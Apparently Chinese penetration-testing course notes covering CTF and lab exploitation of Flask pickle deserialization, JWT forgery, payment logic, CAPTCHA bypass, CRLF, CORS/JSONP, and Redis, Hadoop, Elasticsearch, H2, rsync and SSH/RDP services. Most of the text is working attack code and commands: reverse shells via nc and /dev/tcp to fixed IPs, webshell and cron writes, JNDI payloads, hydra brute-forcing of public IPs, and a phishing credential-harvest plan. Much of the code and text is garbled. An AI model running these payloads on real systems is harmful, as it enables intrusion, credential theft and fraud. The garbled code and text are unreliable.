app = Flask(__name__)

@app.route("/")
def index():
try:
user = base64.b64decode(request.cookies.get('user'))
user = pickle.loads(user)
username = user["username"]
except:
username = "Guest"

return "Hello %s" % username

if __name__ == "__main__":
app.run(
host='192.168.1.3',
port=5000,
debug=True
)

hack-flag.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import requests
import pickle
import os
import base64
class exp(object):
def __reduce__(self):
#s = """powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("192.168.46.137",6666); = .GetStream();[byte[]] = 0..65535|%{0};while(( = .Read(, 0, .Length)) -ne 0){; = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(,0, ); = (iex 2>&1 | Out-String ); = + "PS " + (pwd).Path + "> "; = ([text.encoding]::ASCII).GetBytes();.Write(,0,.Length);.Flush()};.Close()"""
s='c:/nc -e cmd 192.168.46.137 6666'
return (os.system, (s,))
e = exp()
s = pickle.dumps(e)
print(s)

response = requests.get("http://192.168.1.3:5000/", cookies=dict(
user=base64.b64encode(s).decode()
))
print(response.content)

#CTF-华北JWT&反序列化

1
2
3
4
5
6
7
8
9
通过提示->寻找lV6->购买修改支付逻辑->绕过admin限制需修改jwt值>爆被jwt密匙>重组
jwt值成为admin->购买进入会员中心->源码找到文件压缩源码->Python代码审计反序列化
>构适读取f1ag代码进行序列化打印->提交获取
考点1:JWT身份验证攻击点:
https://www.cnblogs.com/vege/p/14468030.html
https://github.com/ck00004/c-jwt-cracker
考点2:Pth0n代码审计反序列化:
自动工具:https://github.com/PyCQA/bandit
参考资料:https://github.com/bit4woo/python_sec

思路:根据网站提示找到lv6–使用爬虫爬取lv6

1
2
3
4
5
6
7
8
9
10
11
import requests,time
url="http://45bc846d-ca58-49a6-812d-de90e99f548d.node5.buuoj.cn:81/shop?page="

for i in range(0,2000):
time.sleep(0.2)
r=requests.get(url+str(i))
if 'lv6.png' in r.text:
print(i)
break
else:
print(str(i)+'|no')

绕过admin限制试图修改jwt值,但是需要对密钥进行爆破–使用工具爆破后获得密钥IKun–构造admin jwt值

页面并无其他内容,点击也无反应–查看js代码–含有网站源代码下载

进行代码审计–全局查找pickle.load()函数–找到反序列化位置,构造利用链

#代码审计-自动化工具band安装及使用

参考:https://bandit.readthedocs.lo/
安装:pip install bandit
linux:
安装后会在当前Python目录下6in
使用:bandit-r需要审计的源码目录
windows:
安装后会在当前Python目录下script
使用:bandit-r需要审计的源码目录

第49天:WEB攻防-通用漏洞&业务逻辑&水平垂直越权&访问控制&脆弱验证

知识点:

1、水平越权同级用户权限共享
2、垂直越权-低高用户权限共享
3、访问控制-验证丢失&取消验证
4、脆弱验证-Cookie&Token&Jwt等

#前置知识:

1、逻辑越权原理
水平越权:用户信息获取时未对用户与D比较判断直接查间等
垂直越权:数摆库中用户类型编号接受缥改或高权限操作未验证等
2、访问控制原理
验证丢失:未包含引用验证代码文件等
取消验证:支持空口令,匿名白名单等
3、脆弱验证原理
-Cookie&Token&JwM:不安全的验证迈指等

演示案例:

权限-水平越权YXCMS-检测数据比对弱
权限-垂直越权-MINICMS-权限操作无验证
未授权-访问控制-XHCMS-代码未引用验证
未授权-脆弱机制-XHCMS-Cookie脆弱验证
弱机制-空口令机制-Redis&Weblogics弱机制
检测类-工具项目-Authz&Secscan-Authcheck

#权限-水平越权-YXCMS检溪数据比对弱

只检测用户和ID对应关系,没检测当前操作用户是不是当前用户
思路:通过抓取对某一用户修改资料数据包进行修改–修改为其他用户且变更资料来实现

#权限-垂直越权MINICMS权限操作无验证

后台数据包访问先执行后判断登录等于无效

#未授权-脆弱机制-XHCMS-Cookie脆弱验证

修改数据包中cookie字段信息,构造user等于任意字段直接登录到后台。

#弱机制-空口令机制-Redis&Weblogics弱机制

redis直接使用redis-cli.exe连接
wenlogic访问特定url

#检测类-工具项目-Authz&Secscan-Authcheck

安装踩坑:https://bigyoung.cn/posts/250/
https://github.com/ztosec/secscan-authcheck 越权检测工具

https://blog.csdn.net/weixin_44203158/article/details/110007233

第50天:WEB攻防-通用漏洞&购买支付逻辑&数据篡改&请求重放&接口替换

知识点:

1、商品购买数量&价格&编号等
2、支付模式状态&接口&负数等
3、折扣处理-优患券&积分&重放等

#详细点:

1、熟悉常见支付流程
选择商品和数量选择译支付及配送方式生成订单编号订单支付选择完成支付
2、熟悉那些数据算改
商品编号引D,购买价格,购买数量,支付方式,订单号,支付状态等
3、熟悉那些修改方式
替换支付,重复支付,最小额支付,负数支付,溢出支付,优患券支付等

#章节内容:

1、权限相关越权&访问控制&未授权访问等
2、购买支付数据算改&支付模式&其他折扣等
3、下节课
4、下节课

演示案例:

 数据篡改-价格&数量&产品

 修改方式-订单号&数量&优惠券

 某实例-演示站交易支付逻辑安全

 代码审计-业务支付逻辑&安全修复

#数据篡改-价格&数量&产品

1、修改数量达到价格变动

因为没有把这些参数固定死,导致出现的安全问题

2、修改单价达到价格变动

3、修改产品达到低价购买(A产品5400 B产品6000,通过将A产品数据包中除价格外内容修改为B产品)

当不能对数量和价格做修改的时候的另一种做法。

4、修改接口达到成功购买

修改支付接口,抓包可以看到这一系列参数就是代表的支付宝接口,如果说你把这个改成你自己的支付接口的话,就像行当与你把钱付给自己。然后支付状态也没问题的话,对方就会认为成功支付了。但是这个支付接口是比较难申请的,因为关联一些洗钱相关的黑色产业,所以抓的比较紧,并且也是违法行为。这里不做演示,知道有这个东西就好。

这是一个攻击点,但防御也很简单,就是对方不认你这个接口,它直接在源码中写清楚只接受自己的接口,所以就算你改成功了,并且也付款成功了。对方那里就会显示购买失败。

#修改方式-订单号&数量&优惠券

1、修改数量达到价格变动(数量修改为0.001)

2、修改订单达到底价购买(修改订单编号,比如有100和1000000的两个单,修改编号使用100去购买1000000的单)

3、优惠券重放使用&重领使用

#某实例-演示站交易支付逻辑安全

奇乐中介–修改订单金额

#代码审计-业务支付逻辑&安全修复

1、金额以数据库定义为准

2、购买数量限制为正整数

3、优惠券固定使用后删除

4、订单生成后检测对应值

第51天:WEB攻防-通用漏洞&验证码识别&复用&调用&找回密码重定向&状态值

#知识点:

1、找回密码逻辑机制-回显&验证码&指向

2、验证码验证安全机制-爆破&复用&识别

3、找回密码-客户端回显&Response 状态值&修改重定向

4、验证码技术-验证码爆破,验证码复用,验证码识别等

#详细点:

-找回密码流程安全:

1、用回显状态判断-res 前端判断不安全

2、用用户名重定向-修改标示绕过验证

3、验证码回显显示-验证码泄漏验证虚设

4、验证码简单机制-验证码过于简单爆破

-验证码绕过安全:

1、验证码简单机制-验证码过于简单爆破

2、验证码重复使用-验证码验证机制绕过

3、验证码智能识别-验证码图形码被识别

4、验证码接口调用-验证码触发机制枚举

#安全修复方案:

-找回机制要进行每一步验证-防绕过重定向

-找回机制要进行服务端验证-防 res 数据修改

-找回机制要控制验证码安全-防验证码攻击

-验证码接口需验证后被调用-防接口被乱调用

-验证码引用智能化人工判断-防验证码被识别

-验证码采用时间段生效失效-防验证码被复用

演示案例:

phpun-res 值修改&验证码回显&爆破

某 APP-res 值修改&验证码接口调用&复用

seacms-验证码识别&找回机制对应值修改

#phpun-res 值修改&验证码回显&爆破

1、验证码回显绑定手机号时验证码前端泄漏被获取
在提交验证码时,请求包中含有正确的验证码,
此时只需要把提交表单中的验证码改为正确的即可绕过。

2、res修改-绑定手机号时修改返回状态值判定通过
将浏览器返回给浏览器的数据抓包(通过burp response this request)发现验证正确的数据包返回值为1,验证错误的数据包返回值为3,所以修改返回值为1即可绕过

3、验证码爆破知道验证码规矩进行无次数限制爆破(建立在验证码没错误次数限制的基础上)
使用brup自带的爆破模块(不实用)

#某 APP-res 值修改&验证码接口调用&复用

res 修改-找回密码修改返回状态值判定验证通过

验证码接口调用-抓当前发送验证码数据包后调用

思路:先尝试发送验证码验证请求包–抓包并未看到正确验证码存在–尝试抓取验证正确返回包和验证错误返回包,然后将错误返回包内容替换为正确表单值–成功绕过

验证码复用-抓第一次验证通过的验证码进行复用

#seacms-验证码识别&找回机制对应值修改

-找回机制对应值修改:

注册两个帐号,尝试找回密码,重置连接重定向绕过

代码审计后分析 Poc:

member.php?mod=repsw3&repswcode=y&repswname=targetUser

-验证码识别:xp_CAPTCHA

https://github.com/c0ny1/captcha-killer

https://github.com/smxiazi/NEW_xp_CAPTCHA

使用环境:windows 10 python3.6.5

安装使用:具体看直播操作

1、burp 安装 jypython 后导入 py 文件

2、安装所需库后 python 运行 server.py

3、抓操作数据包后设置参数设置引用

参考案例:https://www.cnblogs.com/punished/p/14746970.html

应用:爆破密码时,接口调用时,测试其他时等

验证码识别详见文章:Brup+Captcha-killer+ddddocr实现验证码识别

第52天:WEB攻防-通用漏洞&弱口令安全&社工字典生成&服务协议&Web应用

#知识点:

1、弱口令安全&配置&初始化等

2、弱口令对象&Web&服务&应用等

3、弱口令字典&查询&列表&列表等

#前置知识:

弱口令(weak password) 没有严格和准确的定义,通常认为容易被别人(他们有可能

对你很了解)猜测到或被破解工具破解的口令均为弱口令,通常与管理的安全意识和平台

的初始化配置等相关,通过系统弱口令,可被黑客直接获得系统控制权限。

在常见的安全测试中,弱口令会产生安全的各个领域,包括 Web 应用,安全设备,平台

组件,操作系统等;如何获取弱口令,利用弱口令成为了此类安全问题的关键!

演示案例:

 Web 类-加密&验证码后台猜解

 服务类-SSH&RDP 远程终端猜解

 应用类-ZIP&Word 文件压缩包猜解

 字典类-密文收集&弱口令&自定义生成

#Web 类-加密&验证码后台猜解

https://github.com/smxiazi/NEW_xp_CAPTCHA

-Zblog-密文 MD5 传输加密猜解

Seacms-登录验证码识别猜解(识别验证码识别工具绕过验证码认证)

#服务类–SSH&RDP远程终端猜解

https://github.com/vanhauser-thc/thc-hydra
hydra是一个自动化的爆破工具,暴力破解弱密码
是一个支持众多协议的爆破工具,已经集成到KaliLinux中,直接在终端打开即可

1
2
3
4
5
6
7
8
9
10
11
12
13
-s PORT可通过这个参数指定非默认端口,
-i LOGN指定破解的用户,对特定用户破解。
-L FILE指定用户名字典。
-p PASS小写,指定密码破解,少用,一股是采用密码序典。
-P FILE大写,指定密码字典。
-e ns可选选项,n:空密码试探,s:使用指定用户和密码试探。
-C FILE使用冒号分割格式,例如“登录名:密码"来代蕾LU-P参数。
-M FILE指定目标列表文件一行一条。
-o FILE指定结果输出文件。
-f 在使用-M参数以后,找到第一对登录名或者密码的时候中止破解。
-t TASKS同时运行的线程数,默认为16.
-w TIME设置最大超时的时间,单位秒,默认是30s.
-v /-V显示详细过程。
1
2
hydra -I root -P UserPassCombo-Jay.txt -t 5-WV 47.110.73.12 ssh -f
hydra -I administrator-P UserPassCombo-Jay.txt -t 5-WV 47.99.218.105 rdp -f

#应用类-ZIP&WORD文件压缩包猜解

PassFab for Word
Advanced Archive Password Recovery

#字典类密文收美&弱口令&自定义生成

https://monitor.firefox.com
https://haveibeenpwned.com
https://www.bugku.com/mima
https://github.com/danielmiessler/SecLists(近几年密码习惯)
https://github.com/hetianlab/DefaultCreds-cheat-sheet(常见设备密码)

第53天:WEB攻防-通用漏洞&CRLF注入&URL重定向&资源处理拒绝服务

#知识点:

1、CRLF 注入-原理&检测&利用

2、URL 重定向-原理&检测&利用

3、Web 拒绝服务-原理&检测&利用

#下节预告:

1、JSONP&CORS 跨域

2、域名安全-接管劫持

#详细点:

1.CRLF 注入漏洞,是因为 Web 应用没有对用户输入做严格验证,导致攻击者可以输入一

些恶意字符。攻击者一旦向请求行或首部中的字段注入恶意的 CRLF,就能注入一些首部

字段或报文主体,并在响应中输出,所以又称为 HTTP 响应拆分漏洞。

如何检测安全问题:CRLFuzz

2.URL 重定向跳转

写代码时没有考虑过任意 URL 跳转漏洞,或者根本不知道/不认为这是个漏洞;

写代码时考虑不周,用取子串、取后缀等方法简单判断,代码逻辑可被绕过;

对传入参数做一些奇葩的操作(域名剪切/拼接/重组)和判断,适得其反,反被绕过;

原始语言自带的解析 URL、判断域名的函数库出现逻辑漏洞或者意外特性,可被绕过;

原始语言、服务器/容器特性、浏览器等对标准 URL 协议解析处理等差异性导致绕过;

3.Web 拒绝服务

现在有许多资源是由服务器生成然后返回给客户端的,而此类“资源生成”接口如若有参数

可以被客户端控制(可控),并没有做任何资源生成大小限制,这样就会造成拒绝服务风

险,导致服务器处理不过来或占用资源去处理。

演示案例:

CRLF注入-原理&检测&利用
URL重定向-原理&检&利用
WEB拒绝服务-原理&检测&利用

#案例1-CRLF注入原理&检测&利用

vulhub nginx

1
2
3
%0aSet-cookie:JSPSESSID%3Ddrops
url=%0d%0a%0d%0a<img src=1 onerror=alert(/xss/)>/
CRLFuzz:https:.//github.com/dwisiswanto/crlfuzz/releases

设置cookie值

配合xss弹窗.

#案例2-URL重定向&原理&检测&利用

http://xxx/zb_system/login.php?url=http://www.xiaodi8.com/zb_system/login.php
大概意思是讲重定向漏洞的危害:网站接受用户输入的链接,跳转到一个攻击者控制的网
站,可能得致跳转过去的用户被精心设置的钓鱼贡面骗走自己的个人信层和登录口令。国
外大厂的一个任意URL跳转都500S、1000S了,国内看运气~
业务:
用户登录、统一身份分认证处,认证完后跳转
用户分孚、收意内容过后,会跳转
跨站点认证、授权后,会跳转
站内点击其它网址链接时,会跳转

钓鱼思路:找到含有url重定向漏洞的网站–保存到本地–修改本地html为php文件然后写入两个接收用户名和密码的变量,把变量传给网站同目录下x.php–x.php用来接收变量用户名和密码–受害者访问伪造好的链接输入用户名密码–密码传给x.php–写入本地user.txt

案例3-WEB拒绝服务-原理&检测&利用

1、验证码或图片显示自定义大小
2、上传压缩包解压循环资源占用

第54天 WEB攻防-通用漏洞&跨域CORS资源&JSONP回调&域名接管劫持

知识点:

1、子域名接管检测&探针&利用
2、C0SP跨域资源检测&探针&利用
3、JSONP跨域回调-检侧&探针&利用

#前置知识点:

同源策路(SOP),“同源”包括三个条件:同协议同域名同端口
同源策路限制从一个源加载的文档或脚本与来自另一个源的资源进行交互,这是一个用于隔
离潜在恶意文件的关键的安全机制简单说就是浏览器的一种安全策略。
虽然同源策路在安全方面起到了很好的防护作用,但也在一定程度上限制了一些前端功能的
实现,所以就有了许多跨域的手段。

子域名接管:
域名解析记录指向域名,对应主机指向了一个当前未在使用或已经删除的特定服务,攻击
者通过注册指向域名,从而控制当前域名的控制权,实现恶意软件分发、网络钓鱼/鱼叉式
网络钓鱼、XSS、身份验证绕过等。子域名接管不仅仅限于CNAME记录,NS,MX甚至A
记录也会受到影响。
检测项目:
https://github.com/pwnesia/dnstake
https://github.com/anshumanbh/tko-subs
https://github.com/mhmdiaa/second-order
https://github.com/r3curs1v3-proxy/sub404

COSP跨域资源(为了解决非同域名资源调用的问题)

CORS全称Cross-Origin Resource Sharing,跨域资源共享,是HTML5的一个新特性,已被
所有浏刘览器支持,跨域资原共享(C0RS)是一种放宽同源策路的机制,它允许浏览器向跨源
服务器,发出XMLHttpRequesti请求,从而克服了AJAX只能同源使用的限制,以使不同的
网站可以跨域获取数据。
Access-Control-.Allow-Origin:指定鄂些域可以访问域资源。伤例如,如果requester.com想
要访问provider…com的资源,那么开发人员可以使用此标头安全地授子requester…com对
provider…com资源的访问权限
Access-Control–Allow-Credentials:指定浏览器是否将使用请求发送cookie。仅当alow-
credentials标头设置为true时,才会发送Cookie.
Access-Control-.Allow-Methods:指定可以使用那些HTTP请求方法(GET,PUT,
DELETE等)来访问资源。此标头允许开发人员通过在requester.com情求访问
provider.com的资源时,指定哪些方法有效来进一步增强安全性。
检测项目:https://github.com/chenjj/CORScanner

JSONP跨域回调

JSONP跨域巧妙的利用了scriptt标签能跨域的特点,实现了json的跨域传输。
检测项目:手工审查元素筛选或Burp项目
https://github.com/p1g3/JSONP-Hunter

演示案例:

CORS资源跨域敏感页面源码获取
JSONP回调跨域-某牙个人信息泄露
子域名接管瓜迪个人子域名劫持接管
检测项目-CORS&JSONP&子域名接管

CORS和CSRF攻击的区别

1
2
3
4
5
6
7
8
CORS  资源共享
用户A在登录自己的后台或什么页面,这个时候访问了第三方的页面
第三方页面去请求这个后台或页面的内容,用户A访问的页面即将页面的内容泄露了
只做 资源的获取

CSRF 同源策略就失败
黑客可以去操作后台
操作添加用户,修改密码等

#CORS资源跨域致感页面源码获取

复现步骤:
1、本地塔建访问页面跨域调用URL
2、受害者访问当前页面被资源共享
思路:受害者登录后台界面–访问恶意构造的链接–致使后台资源发送到攻击者vps

上述代码为请求http://localhost/Zblog/zb_system/admin/index.php这个地址,然后因为这是网站后台是登录状态可以直接访问,那么就会把里面的内容以变量z0发到http://localhost:80/cors1.php。然后cors1.php就会接收变量发送的请求并保存到本地。
整个攻击的流程和csrf非常的相似,但是大多数网站目前都开启的同源策略会导致CSRF失效,而通过资源跨域可以实现敏感信息泄露。

在白盒代码审计的情况下就是看设置问题了,就是看origin设置的是不是*,是星号,那么就有这个漏洞。而黑盒就是看origin设置后能通过资源。上面说过这个origin这个值在请求头中,那我们是不是可以抓包修改。

参考链接:https://www.freebuf.com/articles/web/204023.html

#JSONP回调跨域某牙个人信息泄露
复现步骤:
1、登录某牙找到回调有敏感信息
2、本地搭建访问页面跨域调用URL
3、访问本地页面可获取当前某牙信息
当用户点击这个html之后就会被攻击者得到回调
而这个和csrf的区别就是一般大型网站都会检测同源策略,所以你只能用这个回调去获取一些信息。而找这个漏洞就是看你能不能找到这个回调,回调里面有没有敏感信息。如果有那么这里就有安全问题。可以直接在数据包那里搜callback来查看回调

#子域名接管瓜迪个人子域名劫持接管
复现步骤:Xia0di8com
1、通过检测cname获取指向
2、发现testxiaodi fun过期受控
3、注册testxiaodi fun:实现控制

#检测项目-CORS&JSONP&子域名接管
1.python cors_scan.py-i top_100_domains.tx-t 100
2、人工排查+burpsuite安装Jsonp_Hunter py抓包使用
3、dnsub爬取子域名筛选接管

第55天 服务攻防-数据库安全&Redis&Hadoop&Mysqla&未授权访问&RCE

知识点:

1、服务攻防数据库类型安全
2、Redis&Hadoop&Mysql安全
3、Mysql-CVE-2012-2122漏洞
4、Hadoop-配置不当未授权三重奏&RCE漏洞
3、Redis-配置不当未授权三重奏&RCE两漏洞

#章节内容:

常见服务应用的安全测试:
1、配置不当-未授权访问
2、安全机制特定安全漏洞
3、安全机制弱口令爆破攻击

#前置知识:

应用服务安全测试流程:见图
组合猜测(由于nat会导致端口扫描不到真实端口信息)、信息来源(报错、特征)
1、判断服务开放情况-端口扫描&组合应用等
2、判断服务类型归属数据库&文件传翰&通讯等
3、判断服务利用方式特定漏洞&未授权&弱口令等演示案例:

Mysql-未授权访问-CVE-2012-2122利用
Hadoop-.未授权访问-内置配合命令执行RCE
Redis-未授权访问-Webshell&任务&密匙&RCE等

Mysql-未授权访问-CVE-2012-2122利用
复现环境:vulhub 出现的可能性不大

1
for i in `seq 1 1000`; do mysql -uroot -pwrong -h you-ip -P3306 ; done 

漏洞复现:

1、vulhub开启漏洞环境

2、攻击机:kali扫描目标端口并验证

Hadoop-未授权访问-内置配合命令执行RCE
复现环境:vulfocus
思路:访问特定

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#!/usr/bin/env python

import requests

target = 'http://127.0.0.1:8088/'
lhost = '192.168.0.1' # put your local host ip here, and listen at port 9999

url = target + 'ws/v1/cluster/apps/new-application'
resp = requests.post(url)
app_id = resp.json()['application-id']
url = target + 'ws/v1/cluster/apps'
data = {
'application-id': app_id,
'application-name': 'get-shell',
'am-container-spec': {
'commands': {
'command': '/bin/bash -i >& /dev/tcp/%s/9999 0>&1' % lhost,
},
},
'application-type': 'YARN',
}
requests.post(url, json=data)

漏洞复现:
1、vulhub搭建hadoop漏洞环境

2、攻击机kali开启nc监听端口,使用exp攻击反弹shell

#Redis-未授权访问-Webshell&任务&密匙&RCE等
1、写Webshell需得到Web路径
利用条件:Web目录权限可读写

1
2
3
4
5
6
7
8
config set dir /tmp
#设置WEB写入目录
config set dbfilename1.php设置写入文件名
set test"c?php phpinfo):?>"#设置写入文件代码
bgsave
#保存执行
save
#保存执行

注意:部分没目录权限读写权限

2、写定时任务反单shell
利用条件:
允许异地登录
安全模式protected-mode处于关闭状态

1
2
3
4
config set dir /var/spool/cron
set yy “ninin*****bash->&/dev/tcp/47.94.236.117/55550>&1nnn”
config set dbfilename x
save

注意:
centos会忽略乱码去执行格式正确的任务计划
而ubuntu并不会忽略这些乱L码,所以导致命令执行失败

3、写入Linux ssh-key公钥
利用条件:
允许异地登录
Redis服务使用ROOT账号启动
安全模式protected-mode处于关闭状态
允许使用密钥登录,即可远程写入一个公钥,直接登录远程服务器

1
2
3
4
5
6
7
8
9
ssh-keygen-t rsa
cd /root/.ssh/
(echo -e “nin”;cat id_rsa.pub;echo-e"nin")>key.txt
cat key.txt redis-cli-h 118.31.57.214 -x set xxx
config set dir /root/.ssh/
config set dbfilename authorized keys
save
cd /root/.ssh/
ssh -i id rsa root@118.31.57.214

4、RCE自动化利用脚本-vulfocus
https://github.com/vulhub/redis-rogue-getshell
python redis-.master…py-f123.58.236.76-p9830-L47.94.236.117-P8888-f
RedisModulesSDK/exp.so -c “id”

5.新漏洞-沙箱绕过RCE CVE-2022-0543-vulfocus
Poc:执行id命令

1
2
eval 'local io_I package.loadlib(“/usr/lib/x86_64-linux-gnu/liblua5.1.so.0”,“luaopen_io”);
local io io_I();local f=io.popen(“id”,“r”);local res f.read(“a”);f:close();return res’o

参考链接:https://blog.csdn.net/qq_40882763/article/details/129742604?spm=1001.2101.3001.6650.2&utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7ECTRLIST%7ERate-2-129742604-blog-130589818.235%5Ev40%5Epc_relevant_3m_sort_dl_base1&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7ECTRLIST%7ERate-2-129742604-blog-130589818.235%5Ev40%5Epc_relevant_3m_sort_dl_base1&utm_relevant_index=5

1
附加:其实日常中最常见的就是redis和mysql这两种数据库最好常见,特别是redis未授权访问,在内网渗透中就很重要,ssrf+redis内网渗透就很有名,而且通过redis的未授权访问可以达到上传shell的作用。
1
2
注意:redis搭建时候千万不要无密码或者弱密码,不然就很容易中病毒
参考:https://juejin.cn/post/7195199519624003642 会导致服务器基本就是没用了

第56天 服务攻防-数据库安全&H2&Elasticsearch&CouchDB&Influxdb复现

1
前言:这一小节中的数据库现在使用已经很少了,主要就是要知道还有这些数据库的存在。

知识点:

1、服务攻防数据库类型安全
2、influxdb,.未授权访问wt验证
3、H2 database-未授权访问-配置不当
4、CouchDB-权限绕过配合RCE-漏洞
5、ElasticSearch-文件写入&RCE-漏洞

#章节内容:

常见服务应用的安全测试:
1、配置不当-未授权访问
2、安全机制特定安全漏洞
3、安全机制弱口令爆破攻击

#前置知识:

应用服务安全测试流程:见图
1、判断服务开放情况端口扫描&组合应用等
2、判折服务类型归属数据库&文件传输&通讯等
3、判折服务利用方式特定漏洞&未授权&弱口令等

演示案例:

Influxdb-未授权访问-Jwt验证不当
H2database-未授权访问-配置不当
CouchDB-权限绕过配合RCE-漏洞
ElasticSearch-文件写入&RCE-漏洞

#nfluxdb-未授权访问-Jwt验证不当

默认端☐:8086,8088
influxdb是一款菩名的时序数据库,其使用jwt作为鉴权方式。在用户开启了认证,但未设
置参数shared-secret的情况下,jwt的认证密钥为空字符串,此时攻击者可以伪造任意用户
身份在influxdb中执行SQL语句,
1、使用 https://jwt.io/ 生成一个带有空密钥的有效 JWT 令牌: ——-JWT也是CTF比赛中常考知识点。

1
2
3
4
5
6
7
8
{
alg":"HS256",
"typ":"JWT"
}
{
"usemame":"admin",
"exp":1676346267
}

其中是管理员帐户名称,是令牌过期时间。您应该设置为将来的时间以使其生效:username exp exp

然后把这个令牌带到请求中,并成功在服务器中执行SQL语句:show users

1
2
3
4
5
6
7
8
9
10
11
12
13
POST /query HTTP/1.1
Host: your-ip
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoyOTg2MzQ2MjY3fQ.LJDvEy5zvSEpA_C6pnK3JJFkUKGq9eEi8T2wdum3R_s
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 22

db=sample&q=show+users

#H2 database-未授权访问-配置不当

默认端口:20051
H2 database是一款Java内存数据库,多用于单元测试。H2 database自带一个Web管理页
面,在Spring开发中,如果我们设置如下选项,即可允许外部用户访问Wb管理页面,且
没有鉴权:默认端口:
spring.h2.console.enabled=true
spring.h2.console.settings.web-allow-others=true
利用这个管理页面,我们可以进行JND注入攻击,进而在目标环境下执行任意命令。
管理页面默认为。http://your-ip:8080 http://your-ip:8080/h2-console/
1、下载JNDI-Injection-Exploit
https://github.com/welk1n/JNDI-Injection-Exploit
2、生成执行RMI Payload-URL
-C执行命令-A服务器地址
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar-C touch /tmp/success -A 47.94.236.117

在攻击机运行poc,执行后攻击机会监听8180、1099、1389端口

javax.naming.InitialContext是 JNDI 工厂类名,URL 是恶意的 RMI 地址。rmi://evil:23456/BypassByEL
攻击机的 RMI 服务器收到以下请求:

touch /tmp/success已成功执行:

#CouchDB-权限绕过RCE-CVE-2017-12636

1、下载exp.py
2、修改目标和反弹地址
3、Python3调用执行即可
https://github.com/vulhub/vulhub/blob/master/couchdb/CVE-2017-12636/exp.py

#ElasticSearch-文件写入&RCE漏洞

默认端口:92009300
Elasticsearch RCE CVE-2014-3120
1、漏洞需要s中至少存在一条数据,所以我们需要先创建一条数据

1
2
3
4
5
6
7
8
9
10
11
POST /website/blog/HTTP/1.1
Host:your-ip:9200
Accept:*/
Accept-Language:en
User-Agent:Mozilla/5.0 (compatible;MSIE 9.0:Windows NT 6.1;Win64:x64:Trident/5.0)
Connection:close
Content-Type:application/x-www-form-urlencoded
Content-Length:25
{
"name":"xiaodi"
}

2、直接发包触发执行命令

Elasticsearch文件写入wooyun2015110216
9200一股为ElasticSearch的常用端口,此漏洞环境需要与中间件使用
1、发现9200端口存在elasti-search页面,8080存在tomcat目录
2、利用ElasticSearch写入后门到/usr/local/tomcat/webapps/wwwroot/

1
2
3
4
5
6
7
8
9
10
11
12
curl -XPOST http://123.58.236.76:31556/yz.jsp/yz jsp/1-d'
["<%new java.io.RandomAccessFile(application.getRealPath(new String(new byte【】
{47,116,101,115,116,46,106,115,112)》,new String(new byte【】
(114,119))).write(request.getParameter(new String(new byte[(102))).getBytes();
%>"-"test"
curl -XPUT 'http://123.58.236.76:31556/snapshot/yz.jsp'-d'
"type"."fs",
"settings":{
"location":"/usr/local/tomcat/webapps/wwwroot/",
"compress":false
}
}

3.、访问8080端口snapshot–yz jspi文件写入代码到test jsp中
http://123.58.236.76:31557/wwwroot/indices/yz.jsp/snapshot-yz jsp?f=success
http://123.58.236.76:31557/wwwroot/test.jsp

第57天 服务攻防-应用协议&Rsync&SSH&RDP&FTP&漏洞批量扫描&口令拆解

知识点:

1、服务攻防-远程控制&文件传输等
2、远程控制-RDP&RDP&弱口令&漏洞
3、文件传输-FTP&Rsyc&弱口令&漏洞

章节内容:

常见服务应用的安全测试:
1、配置不当-未授权访问
2、安全机制特定安全漏洞
3、安全机制-弱口令爆破攻击

前置知识:

应用服务安全测试流程:见图
1、判断服务开放情况-端口扫描&组合应用等
2、判断服务类型归属数据库&文件传箱&通讯等
3、判断服务利用方式特定漏洞&未授权&弱口令等

演示案例:

口令猜解-Hydra-FTP&RDP&SSH
配置不当-未授权访问-Rsync文件备份
高端课程-直接搜哈-MSF&Fofaviewer
协议漏洞-应用软件-FTP&Proftpd搭建
协议漏洞-应用软件-SSH&libssh&Openssh

口令猜解-Hydra-FTP&RDP&SSH

https://github.com/vanhauser-thc/thc-hydra

hydra是一个自动化的爆破工具,暴力破解弱密码, 也是之前第52天讲到过的工具了这个是。
是一个支持众多协议的爆破工具,已经集成到KaliLinux中,直接在终端打开即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
-l login 小写,指定用户名进行破解
-L file 大写,指定用户的用户名字典
-p pass 小写,用于指定密码破解,很少使用,一般采用密码字典。
-P file 大写,用于指定密码字典。
-C使用冒号分割格式,例如“登录名:密码”来代替 -L/-P 参数
-e ns 额外的选项,n:空密码试探,s:使用指定账户和密码试探
-M file 指定目标ip列表文件,批量破解。
-o file 指定结果输出文件
-f 找到第一对登录名或者密码的时候中止破解。
-t tasks 同时运行的线程数,默认是16
-S大写,采用SSL链接
-s PORT 指定默认端口
-w time 设置最大超时时间,单位
-v / -V 显示详细过程
-R 恢复爆破(如果破解中断了,下次执行 hydra -R /path/to/hydra.restore 就可以继续任务。)
-x 自定义密码。

配置不当-未授权访问-Rsync文件备份

rsync是Linux下一款数据备份工具,支持通过rSnc协议、ssh协议进行远程文件传输。其
中rsynct协议默认监听873端口,如果目标开启了rsync服务,并且没有配置ACL或访问密
码,我们将可以读写目标服务器文件。
判断:rsync rsync:∥123.58.236.76:45854/
利用:
-读取文件:rsync rsync:/123.58.236.76:45854/src/
-下载文件:rsync rsync:/123.58.236.76.45854/src/etc/passwd/
-上传文件:rsync-av passwd rsync:/123.58.236.76:45854/src/tmp/passwd
反弹shell:
1、获取信息:
rsync rsync://123.58.236.76:12177/src/etc/crontab /root/cron.txt
2.创建文件

1
2
3
4
touch shell
#!/bin/bash
/bin/bash-i>&/dev/tcp/47.94.236.117/55660>&1
chmod +x shell

3、上传文件
rsync -av shell rsync://123.58.236.76:12177/src/etc/cron.hourly
4、等待接受反弹

高端课程-直接搜哈-MSF&Fofaviewer

https://github.com/wgpsec/fofa_viewer
msfconsole
use auxiliary/scanner/rsync/modules_list
set rhosts file:/root/ips.txt
set threads 10
run
